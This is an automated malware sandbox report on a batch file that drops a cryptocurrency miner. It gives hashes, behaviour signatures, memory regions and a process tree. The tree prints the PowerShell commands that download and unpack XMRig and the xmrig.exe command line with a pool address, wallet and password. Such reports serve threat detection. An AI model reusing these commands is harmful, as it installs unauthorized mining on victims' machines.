Resubmissions

Analysis

  • max time kernel
    1793s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 19:07

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5108
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2224
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5112

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6ea153b0cfeac684a884b8f803d5b32c

    SHA1

    ad33937bfa5f0037fe2f2d8b1d97488ba50cf067

    SHA256

    d158fd180d4f09f2e242d7b3d367ccf62539540081dff072c026440e21d09d50

    SHA512

    700a62a6f75eb3deda5d23a49c59459c5babfa0745769b1e14f6710efc7703a5deafc5ec585917bb0e1bdfac46fc0cf4acb5ee09f18f842c6c242cd81a03c7d5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hap5gewm.shj.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    291KB

    MD5

    8b3360adb3ef5ffc7d22b6ead8835a63

    SHA1

    69656dc7ce11691dc97de81e07431d5b8d8c5e9c

    SHA256

    ee32419b9201ad0f7349088ed90e0b769fb884bce13536fb765b76781f2b33fa

    SHA512

    dd94ea3a43e05142a38ce407d1571e1d2ccea52996393cb49115f92d4fe82822c4963fd3c29edcc9f47e147ae821529f7de3747d35820104b2b7de37e7d5f51e

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    460KB

    MD5

    f6c202b1228b5b435f3612a2a8c3fee8

    SHA1

    1d20d43cd5c9aaa1c1c8f98d0aa9fee70f6e3b15

    SHA256

    f752f409aa71db25caf727478e48c5dbbc1db5c9537a337a7bf0398cee1897da

    SHA512

    58fb40d451f446ff15d8a046feda929f4eebb5db14402da00a307000b909622a131ccfb7d123caf69d7d1b5fab538bfc6531fa8574f4103bccec58cffd614d2e

  • memory/2224-38-0x0000021C4B700000-0x0000021C4B710000-memory.dmp

    Filesize

    64KB

  • memory/2224-78-0x0000021C64170000-0x0000021C64182000-memory.dmp

    Filesize

    72KB

  • memory/2224-37-0x00007FFDAE5D0000-0x00007FFDAEFBC000-memory.dmp

    Filesize

    9.9MB

  • memory/2224-115-0x00007FFDAE5D0000-0x00007FFDAEFBC000-memory.dmp

    Filesize

    9.9MB

  • memory/2224-64-0x0000021C4B700000-0x0000021C4B710000-memory.dmp

    Filesize

    64KB

  • memory/2224-39-0x0000021C4B700000-0x0000021C4B710000-memory.dmp

    Filesize

    64KB

  • memory/2224-91-0x0000021C63FE0000-0x0000021C63FEA000-memory.dmp

    Filesize

    40KB

  • memory/2252-5-0x00007FFDAE5D0000-0x00007FFDAEFBC000-memory.dmp

    Filesize

    9.9MB

  • memory/2252-4-0x00000260507E0000-0x0000026050802000-memory.dmp

    Filesize

    136KB

  • memory/2252-6-0x0000026050810000-0x0000026050820000-memory.dmp

    Filesize

    64KB

  • memory/2252-10-0x00000260509A0000-0x0000026050A16000-memory.dmp

    Filesize

    472KB

  • memory/2252-26-0x0000026050810000-0x0000026050820000-memory.dmp

    Filesize

    64KB

  • memory/2252-31-0x00007FFDAE5D0000-0x00007FFDAEFBC000-memory.dmp

    Filesize

    9.9MB

  • memory/2252-7-0x0000026050810000-0x0000026050820000-memory.dmp

    Filesize

    64KB

  • memory/5112-143-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-153-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-120-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-122-0x000001C748720000-0x000001C748740000-memory.dmp

    Filesize

    128KB

  • memory/5112-121-0x000001C746FE0000-0x000001C747000000-memory.dmp

    Filesize

    128KB

  • memory/5112-123-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-124-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-125-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-126-0x000001C746FE0000-0x000001C747000000-memory.dmp

    Filesize

    128KB

  • memory/5112-127-0x000001C748720000-0x000001C748740000-memory.dmp

    Filesize

    128KB

  • memory/5112-128-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-129-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-130-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-131-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-132-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-133-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-134-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-135-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-136-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-137-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-138-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-139-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-140-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-141-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-142-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-118-0x000001C746CE0000-0x000001C746D00000-memory.dmp

    Filesize

    128KB

  • memory/5112-144-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-145-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-146-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-147-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-148-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-149-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-150-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-151-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-152-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-119-0x000001C746FC0000-0x000001C746FE0000-memory.dmp

    Filesize

    128KB

  • memory/5112-154-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-155-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-156-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-157-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-158-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-159-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-160-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-161-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-162-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-163-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-164-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-165-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-166-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-167-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-168-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-169-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-170-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-171-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-172-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-173-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-174-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-175-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-176-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-177-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-178-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-179-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-180-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-181-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-182-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-183-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-184-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-185-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-186-0x00007FF6F9EA0000-0x00007FF6FA9A3000-memory.dmp

    Filesize

    11.0MB